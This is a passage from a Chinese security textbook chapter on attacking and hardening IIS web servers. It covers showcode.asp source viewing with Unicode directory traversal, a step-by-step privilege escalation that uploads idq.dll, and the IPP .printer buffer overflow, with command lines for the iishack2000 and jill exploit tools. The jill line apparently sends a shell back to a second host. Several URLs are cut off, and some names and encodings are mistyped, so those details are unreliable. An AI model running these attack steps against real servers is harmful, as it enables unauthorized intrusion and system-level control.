6.3.2 IIS Web服务器
微软一直都在大踏步地加强其Web平台的安全性。每一个版本的IIS都比前一个版本更安全一些,当前版本对Web网站的方方面面都提供了保护。但是,每一个版本也都增加了复杂性,因此也就增加了服务器未打补丁和不安全的机会。
IIS不仅仅是一个简单的Web服务器,它还提供了许多服务,主要包括:
FTP服务。
NNTP服务。
Internet Printing Protocol(IPP,互联网打印服务)。
SMTP服务。
BITS(用于Windows更新)。
Internet Information Services Manager。
FrontPage 2002 Server Extensions。
WWW服务。
在WWW服务中,提供了下述功能:
活动服务器页面(Active Server Page)。
服务器端包含。
Webdav发布。
WWW服务。
Internet数据连接器(IDC)。
远程桌面Web连接。
远程维护。
与所有其他服务器一样,应该关闭不需要的服务。许多网站被突破的主要原因就是由于这个网站的服务器上开放了多余的服务,如远程维护或IPP。由于这些服务没有被使用,所以通常他们都使用了默认设置,这些设置为攻击打开了大门。
针对IIS的常用攻击包括:
Showcode.asp。
特权执行。
缓冲区溢出。
下面分别予以简单介绍。
1.Showcode.asp
Showcode.asp使开发人员能够浏览服务器上的脚本代码而不用执行这些代码。这个文件包含在Microsoft Data Access Components (MDAC)中,通常安装在目录c:\Program Files\Common Files\SYSTEM\MSADC下。使用一些URL操作,我们可以查看服务器上其他文件的代码。这样,恶意黑客就会更容易地对程序进行反向工程,从而寻找漏洞来获取访问权。
如果使用showcode.asp脚本显示文件内容,那么在showcode.asp后面放一个问号(?),然后放上要查看文件的名称。
我们可以把showcode.asp方法与目录遍历技术结合起来,查看当前工作目录之外位置的文件。例如,假设服务器的根目录上有一个名称为secretfile.txt的文件,那么在浏览器中输入下面的URL:
http://www.somesite.com/msadc/Samples/SELECTOR/ |
圆点和协杠(/../)用于遍历文件系统。很多服务器不允许这种简单形式的目录遍历,但是,我们可以使用斜杠的Unicode表示来完成目录遍历。例如,我们可以使用%c0%af、%c0%9v和%c1%1c来搞定不允许简单目录遍历的服务器。这样,前面所提到的URL可以改造为:
http://www.somesite.com/msadc/Samples/SELECTOR/showcode.asp?source= /msadc/ |
由于目录遍历依赖于IIS与系统分区安装在相同的卷上,因此,我们应该把Web根目录安装在另一个卷上,例如,如果Web网站放置在D:分区上,那么就不能够通过遍历目录来得到C:\windows\system32中的系统根目录。
2.权限提升
另一种常见攻击是权限提升。权限提升是获取服务器上未授权访问权限的过程。正常情况下,IIS阻止进程以SYSTEM权限运行,原因在于这个级别的权限拥有服务器上的最大访问权限。但是,IIS存在一些缺陷,从而让恶意黑客得到访问权,并以SYSTEM级权限运行程序。利用SYSTEM级访问权限,黑客能够完成很多重要管理任务,如向服务器添加用户、使用.NET命令得到其他服务器的访问权。
权限提升的方法有很多,下面是其中的一种方法:
步骤1:使用Roelof Temmingh编写的Perl脚本unicodeuploader.pl上载idq.dll(由Digital Defense Inc.的HD Moore编写)。假定Web网站放在C:\inetpub\wwwroot下,其名字为somesite,那么可以输入下述命令:
perl unicodeloader 192.168.1.1:80 'c:\inetput\wwwroot\somesite' |
步骤2:访问Web网站上的upload.asp文件,并上传我们想要执行的文件:
http://www. somesite.com/upload.asp |
步骤3:访问新的idq.dll文件,执行希望拥有SYSTEM访问权限的任何命令:
http://www. somesite.com/scripts/idq.dll |
3.缓冲区溢出
计算机中提供了一个用于保存程序运行过程中产生的临时数据的存储区域,称为缓冲区。图6.10展示了典型内存缓冲区的格式。包含在缓冲区中的是一个扩展指令指针(EIP),它指明在读取了缓冲区的数据之后程序应该执行什么位置开始的代码。恶意黑客能够覆盖缓冲区并设置一个新的指针,使程序执行黑客指定的代码。图6.11展示了新指针如何引导程序执行恶意代码的过程。
针对IIS可以运行大量的缓冲区溢出利用实用程序。很多这样的程序都使用了IPP打印机缓冲区溢出漏洞,该漏洞由Windows 2000 Server上的IIS5引入,并由eEye Digital Security的Riley Hassell发现。
![]() |
| 图6.10 典型内存缓冲区的格式 |
![]() |
| 图6.11 新指针引导程序执行恶意代码的过程 |
IIS 5.0允许使用HTTP远程访问打印机。msw3prt.dll提供了IPP支持,并允许访问表示为网络打印机的打印机文件。IPP服务易于受到缓冲区溢出的攻击,原因在于它使用下述GET请求向服务器发送420个字节:
GET /NULL.printer HTTP/1.0 HOST:[420个字节的缓冲区]
有几个工具利用了这个溢出技术。其中最流行的工具是iishack200.c (eEye)和jill.c (Dark spyrit)。这两个工具都发送缓冲区溢出代码,为攻击者提供了一个命令窗口,在这里攻击者能够执行其他的命令。
要针对IP地址为192.168.1.1、运行服务包1的Web服务器执行iishack2000.c,那么在Windows命令窗口中键入下述命令:
iishack2000 192.168.1.1 80 1 |
jill 192.168.1.1 80 192.168.1.2 1024 |
| 回书目 上一节 下一节 |
|
|||
| · BEA会被甲骨文成功收购.. · CISSP认证成长之路 · 我是黑客我怕谁——讲.. · 珊瑚虫QQ作者侵权案开庭 · 华为七千人主动辞职规.. · Windows Server 2008 · VPN技术 · VLAN技术 |
· 龙芯要做中国的“奔腾” · 安全防范与策略 · 信息安全等级保护专题 · IDS入侵检测 · Sniffer安全技术从入门.. · 子网掩码教程 · 路由协议专题 · 服务器选型与选购 |
||
|
|||
| · SOA 面向服务架构 · 子网掩码教程 · RAID——磁盘阵列基础 · 三层交换技术专题 · SQL Server入门到精通 · 刀片服务器基础 · Windows远程桌面应用 · 深入了解PGP加密技术 |
· MySQL数据库备份 · VPN技术 · Solaris 10 配置管理 · Linux 基础 · SSL VPN详细知识 · 路由器设置与口令恢复 · Linux 集群技术专题 · SOA 面向服务架构 |
||
|
|||
| · VPN技术 · SQL Server入门到精通 · SOA 面向服务架构 · 子网掩码教程 · 刀片服务器基础 · 三层交换技术专题 · Windows远程桌面应用 · MySQL数据库备份 |
· RAID——磁盘阵列基础 · 身份认证技术 · SSL VPN详细知识 · Sniffer安全技术从入门.. · 常用交换机典型配置 · VPN技术 · Linux 集群技术专题 · 路由器设置与口令恢复 |
||
| ·DB2 Viper快速入门 ·DB2 9数据库的镜像分割与.. |
·将XML应用程序从DB2 8.x.. ·DB2 9中的pureXML:如何.. |
| ·ASP.NET 2.0 Web Part编.. ·ASP.NET 2.0 Web Part编.. |
·ASP.NET 2.0 Web Part编.. ·ASP.NET 2.0服务器控件之.. |
| ·MSDN Webcast - 模式与实.. ·如何将CAB应用迁移到SCSF.. |
·Architect Inside I - 五.. ·以架构师的眼睛看世界-Ar.. |
| ·Nagios借助yahoo.cn邮箱.. ·Linux系统手动安装rzsz .. |
·Linux 服务集中管理工具n.. ·官瘾 |
| · 广东新规明确信息安全等.. · IDC:2008年IT市场10大.. · 运营商封堵非法ADSL共享 |
· VPN安全技术与应用 · 企业如何进行计算机取证.. · 安全防范与策略 |
| · IDC:2008年IT市场10大.. · Visual Studio 2005开发.. · 测试开发人员参考手册 |
· 年初17大热门技术 年底.. · 解析Ajax开发框架 走进A.. · 基于Google Maps与Ajax.. |
| · Linux 基本概念及常用命.. · 请正确对比Windows和Lin.. · Samba将可取得微软Windo.. |
· IT人员应当了解的七个存.. · IDC:2008年IT市场10大.. · 弃高端主板竞争?英特尔.. |
| · 甲骨文Oracle 11g正式发.. · Oracle数据库开发之PL/S.. · Oracle数据库开发基础教.. |
· IT人员应当了解的七个存.. · 希捷承认部分硬盘暗藏病.. · 硬盘之父获得诺贝尔物理.. |